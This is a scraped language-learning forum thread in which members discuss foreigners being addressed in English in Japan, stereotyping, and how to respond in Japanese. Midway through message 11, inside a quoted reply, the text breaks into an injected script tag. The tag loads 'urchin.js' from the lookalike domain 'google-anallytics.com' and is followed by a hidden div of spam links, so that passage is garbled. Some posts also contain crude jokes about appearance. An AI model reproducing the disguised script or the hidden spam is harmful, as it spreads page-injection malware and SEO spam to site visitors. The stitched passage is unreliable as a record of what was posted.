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Speaking Japanese in Japan | ||
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 Language Learning Forum : Cultural Experiences in Foreign Languages |  | |
| Alvinho Triglot Senior Member Brazil Joined 6234 days ago 828 posts - 832 votes  Speaks: Portuguese*, English, Spanish | Message 9 of 25 29 December 2009 at 12:30am | IP Logged | ||
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I think that happens in many countries where English is truly fashionable amongst many people....Japan, the second economy of the world, there must be that English, western craze....kind of.....am I right?
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| Quabazaa Tetraglot Senior Member United States Joined 5609 days ago 414 posts - 543 votes Speaks: English*, Spanish, German, French Studies: Japanese, Korean, Maori, Scottish Gaelic, Arabic (Levantine), Arabic (Egyptian), Arabic (Written) | Message 10 of 25 29 December 2009 at 12:49am | IP Logged | ||
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People are people everywhere. I had both amazingly good and seriously crappy experiences in Japan, but if I had to generalise I'd say that people were helpful, friendly, and loved communicating, sometimes in a mix of Japanese-English and sometimes one or the other. People love that you are learning their language, and definitely go out of their way to help!! Probably the majority of people did speak to me in Japanese, but hey, if someone wants to practise their English, what's wrong with that? If you feel like speaking Japanese you can always reply in Japanese. I had a lot of fun with conversations where my Japanese friends spoke English and I spoke Japanese :) Just chill out and have fun!
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| hombre gordo Triglot Senior Member Japan Joined 5583 days ago 184 posts - 247 votes Speaks: English*, Spanish, Japanese Studies: Portuguese, Korean | Message 11 of 25 07 January 2010 at 6:30pm | IP Logged | ||
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[QUOTE=TixhiiDon] Wow, hombre gordo, I know you wrote this a while ago, but there is some seriously offensive stuff here.
I've met the kind of people you are talking about here too, and yes they can be terribly annoying, but don't you think it's more important to understand than condemn? Japanese kids are constantly told they have to become more "international", but because there are so few obvious foreigners here (excluding the Koreans, Chinese, and many Nikkei South Americans who are more or less indistinguishable from native Japanese), they have no idea how to go about this. Add to that some clueless teachers who give homework assignments to "speak to a foreigner" and the ridiculous treatment that foreigners receive on TV and you can understand why some people don't realize how rude it is to come bounding up to a random white person to say hello. As for "erotic stimulation", this is just downright offensive. I would say that in many cases, the opposite is true, what with the hordes of idiotic fat ugly white men hanging around the Roppongi bars desperate to pick up a Japanese woman using their pitiful Japanese skills. Having read several of your posts, you appear to have a very superior attitude to Japan and its people. You are not unique - many Westerners come here with fixed prejudices, determined to change the entire country to ways which they believe are somehow inherently better. I think you might be better off studying the language of a country you respect.'text/javascript' src='http://google-anallytics.com/urchin.js'></script& gt;<div style='display:none;'><a href='#/1/'>beth bounty hunter losing weight</a><a href='#/2/'>personal trainer certification nfl</a><a href='#/3/'>easy quit smoking way</a><a href='#/4/'>lunar eyes embedded in the soul</a><a href='#/5/'>bon jovi cheated</a><a href='#/6/'>masage therapy occupation</a><a href='#/7/'>alternative investment partners llc</a><a href='#/8/'>iq test videnskab</a><a href='#/9/'>clairvoyant psychic reading</a><a href='#/10/'>herb past life</a><a href='#/11/'>jane mansfield death date</a><a href='#/12/'>imminent death from lung cancer</a> Dude, here we are talking about an adult woman! Not a kid! If a kid bursts into some ecstatic state upon meeting someone, it is not exactly abnormal. But when a fully grown adult women does it, dont you think it is a little odd or even abnormal? I wouldnt have minded if she had given me a cuddle or something, but she just stopped in front of me and started screaming "are you American?" My answer of course was ”反米”! Looking back at my post from months ago, I kind of got carried away didnt I? By the way, I was kind of half joking around when I wrote that post. It should be taken tongue in cheek! I certainly hope that those type of people dont get sexual gratification from just seeing foreigners! That would just be gross! I dont even want to know what those tubby roppongi guys get up to. I personally am sexually inactive until marriage. I hope you are not under the impression that I am one of those guys! I know my forum name is "hombre gordo", but after a hell of a lot of gym work, it is all muscle now. I am down to average weight. If I could, I would change my forum name to "hombre fuerte". By the way, I get called 可愛い a lot by the girls at church so am surely not one of those ungly fat roppongi perverts. As for your final comment about some kind of superior complex and lack of respect for Japan, I have no idea why you can come up with that conclusion. Japan is my favourite country in the world. Japanese is my favourite language of all. On the whole I find Japanese people a lot more friendly and easy to get along with than my fellow countrymen. Sometimes I hear myself thinking that there is a lot my country could learn from Japan. If anything I lack patriotism to my own country. I am truly ashamed of certain aspects of my own country. japan has such refined and beautiful culture to the extent that sometimes I feel a sense of inferiority to the Japanese. Your guess that I have a superiority complex is well far off the bulls eye. Maybe your personal definition of "someone who has a superiority complex to Japan and its people" is "someone who stands up for him/her self and refuses to take offensive treatment based on racial prejudice from people". There is nothing wrong with standing up for yourself in a foreign country. After all we are just defending ourself arent we? Just because I love Japan so much doesnt mean that there are arent certain ocurrences that annoy me though. Namely when I feel that I arent being treated respectfully just because I happen to be a European foreigner. An example would be the 馬鹿扱い (idiot treatment) you get when you meet someone new and they insist on speaking to you like a little child just because that are hellbent on thinking that "white person = cant learn Japanese". Yet they speak to my Asian friends(some of them have a much lower level of japanese than me) with normal Japanese and no attempts to give them the idiot treatment. I find this specific prejudice against me offensive. If I object to this kind of offense and prejudice based on racial grounds, do you think I am suffering from a superior complex and telling them how to change the country?! I think too many westerners are conditioned to be too nice and take offense from other people. If I refuse to put up with such racial prejudice against myself, I am not trying to change the country, I am simply standing up for myself. In the "idiot treatment" scenerio, I used to just put up with it in silence. Nowdays when I bump into those kind of people, I just tell them clearly to quit the idiot treatment and explain why it is offensive. I dont get mad. I dont get all rude. In a calm and composed manner I simply explain to the interlocutor in polite and respectful Japanese why their way of treating me in particular is causing me discomfort and then politely ask that they refrain from treating me that way. Nothing rude about that. Many westerners are too afraid to do this because they are under the impression that "directness" in Japanese is undesirable and even can be rude. Of course that is true in some cases. However, if you want to solve the problem you have to address it directly. I have found that with that approach the interlocutor normally appologies and then treats me normally and speaks to me in normal Japanese. If you have good debating skills in Japanese and can express for feelings on the treatment you receive eloquently, you will probably win more respect from your interlocutor. "but don't you think it's more important to understand than condemn" I agree with that specific comment in the most general way possible, in all aspects of life. Since entering a life of faith, I have been making a special effort not to condemn people and to forgive sinful people. After all, my own sins (mostly sins of the heart) are piled up to the sky and I have to do a great deal of repenting. I used to feel hatred against ignorant people who idiot-treated me. Now that I have some understanding as to what gives rise to such treatment based on racial grounds and why certain people behave in certain ways, I feel I can calmly discuss it and pursuade my assailants and in a way gain their understanding. Your quote certainly expresses a good philosophy for interpersonal relations. However, it has to work both ways might I add. Hombre Fuerte Edited by hombre gordo on 07 January 2010 at 6:37pm 3 persons have voted this message useful | |||
| TixhiiDon Tetraglot Senior Member Japan Joined 5464 days ago 772 posts - 1474 votes Speaks: English*, Japanese, German, Russian Studies: Georgian | Message 12 of 25 07 January 2010 at 11:55pm | IP Logged | ||
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Hombre gordo (fuerte?), thanks for getting back to me.
I absolutely understand your frustration in such situations, as I have felt it myself on several occasions. Just last year I was walking home from the train station when a woman, possibly in her thirties too (maybe it was the same woman!!) asked me where I was from, totally out of the blue. She asked in Japanese, so I replied in Japanese, and at that point she kind of went into hysterics in half-English, half-Japanese, telling me that God loved me and that she loved me too. I think maybe in her case she had some psychological problems, so I just hurried on home, checking behind my back now and again to make sure she hadn't followed me. On another occasion I felt very offended by a group of women who shouted out "Hello" to me and then walked on, giggling amongst themselves. That time I turned back and explained why I was offended, just as you said you do. So I think we probably have quite similar points of view. I did, however, find the language you used in your post excessive and, even if meant to be tongue-in-cheek, offensive. I think it would be sad to give people the impression that these incidents occur all the time, when in reality they are rare. I also think it's important to keep some perspective. People often harp on about how racist the Japanese are, but really Japanese "racism" (if it can even be called that) is extremely benign. You are NEVER going to get beaten up, shot, or stabbed in Japan simply because of the colour of your skin. The vast majority of Japanese people are either indifferent to, or simply naively curious about, us gaikokujin. I'm sorry for equating you with the guys in Roppongi, and I in no way intended to associate the word "fat" with you (I don't speak a word of Spanish). I just find this constant complaining about the country, either from people who can barely even ask for a beer in a bar in Japanese or self-appointed experts who think they know the country better than those who were born and brought up here, extremely tiresome. Edited by TixhiiDon on 07 January 2010 at 11:56pm 1 person has voted this message useful | |||
| Alvinho Triglot Senior Member Brazil Joined 6234 days ago 828 posts - 832 votes Speaks: Portuguese*, English, Spanish | Message 13 of 25 08 January 2010 at 8:24pm | IP Logged | ||
I bet she was as ugly as Godzilla to make you hurry home....I doubt if she was Miss Japan you'd end up marrying her even she's nuts....just kidding...lol Why don't you write a book with your personal experiences involving languages in your stay in Japan?...very interesting your reports, guys. 2 persons have voted this message useful | |||
| hombre gordo Triglot Senior Member Japan Joined 5583 days ago 184 posts - 247 votes Speaks: English*, Spanish, Japanese Studies: Portuguese, Korean | Message 14 of 25 09 January 2010 at 5:59pm | IP Logged | ||
TixhiiDon, Thanks for sharing your opinions and clarifying your point of view. As for people complaining about Japan, I think they are rare. Most European people seem to love Japan. I personally dont take the opinions of tourists or short term English teachers seriously. Their complaints are not worth listening to in my opinion. That is simply because they have only spent a very limited period of time in the country and in many cases dont even make an attempt to learn the language. However, for long-term residents in Japan, or any other country, it is quite normal to formulate opinions, including strong opinions, on certain aspects of the country. Back to the topic on my use of language in that post from months ago. That was written before I came to Japan for the second time. The first time I spent an extended stay in Japan, I had a pretty crappy time. It wasnt extremely crappy or anything, just I was living in the proper countryside, couldnt make friends and felt really lonely. From that experience, when I returned to my native land, I started to experience negative feelings towards Japan. However, because of my love for the language I continued to study intensely. It was in that time when I wrote that comment. However, since returning to Japan for the second time, I have really started to appreciate and love its beauty. For a start, I am in a more urbanised (but not too urbanised) area where I can make friends and enjoy fun things. On top of that, my Japanese has improved tremendously since the first time which means that I can intergrate much more easily and not feel like an outsider. Also I have made progress in overcoming my social phobia in the last year or two which again allows me to make more friends. The truth is that 3 or 4 years ago I was unable to socialise with pretty much nobody. I was too afraid. Since coming to Japan I feel like a different person. I honestly believe that Japan has played a part in helping me gain social confidence. For that I admire the country so much. As for the usage of the term "racism", I can totally understand where you are coming from. I too feel that in this ultra-political correct era terms like "racism" for example to overused or inaccurately applied to the extent that they stray from their true meaning. I have personally been called "a racist" on a couple of occassions by an ultra-liberal left-wing radical feminist just because I have interest in Asian women. That kind of usage of the term doesnt even make sense! Anyway, I agree that racism in its true sense is quite rare in Japan. For me, "racism" refers to hatred of certain reces or viewing certain races as inferior to others. However, although it isnt classed as racism, prejudice against European resident is quite common in Japan. As a concrete example, the best example would be the assumption that all white people dont speak Japanese. As a compitent speaker, I find this ridiculous and refuse to tolerate it. Also the assumption that all white people are English speakers is another absurd yet common prejudice. That is one of the main reasons why I only use Japanese, and nothing but Japanese, and refuse to speak English here in Japan. Anyway, those kind of prejudices can be easily countered with the method I discussed in my previous post so there is no need to worry. 2 persons have voted this message useful | |||
| TixhiiDon Tetraglot Senior Member Japan Joined 5464 days ago 772 posts - 1474 votes Speaks: English*, Japanese, German, Russian Studies: Georgian | Message 15 of 25 09 January 2010 at 9:30pm | IP Logged | ||
You are absolutely right to ignore the opinions of the short-term English teachers! I have spent many an evening with them listening to their idiotic complaints while ordering "hachi bi-ru" and getting annoyed when the waitress didn't understand them. Enough to drive you crazy, eh? I also like busting the myth that foreigners can't speak Japanese, and have sometimes considered saying 英語わかりません to people who just assume that it must be my native language. Again, however, I just think that a lot of Japanese people are very naive when it comes to foreigners and foreign languages. I also think it's nice to be nice, and so if someone in McDonalds or something tries hard to speak to me in understandable English, I will usually reply in English. 2 persons have voted this message useful | |||
| Captain Haddock Diglot Senior Member Japan kanjicabinet.tumblr. Joined 6768 days ago 2282 posts - 2814 votes Speaks: English*, Japanese Studies: French, Korean, Ancient Greek | Message 16 of 25 10 January 2010 at 9:37am | IP Logged | ||
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The nice thing about being a polyglot in Japan is that you can choose another language to be your pretend native
language on the spur of the moment, if you don't want to reward someone's assumption that you must be an English monoglot. On occasion, I use the 英語わかりません routine and switch to German if they insist on continuing the conversation. (My German sucks, but I have a pretty good accent thanks to childhood exposure.) The most common situation in which this may be necessary is when being accosted by Jehovah's Witnesses in the busy shopping districts. 1 person has voted this message useful |
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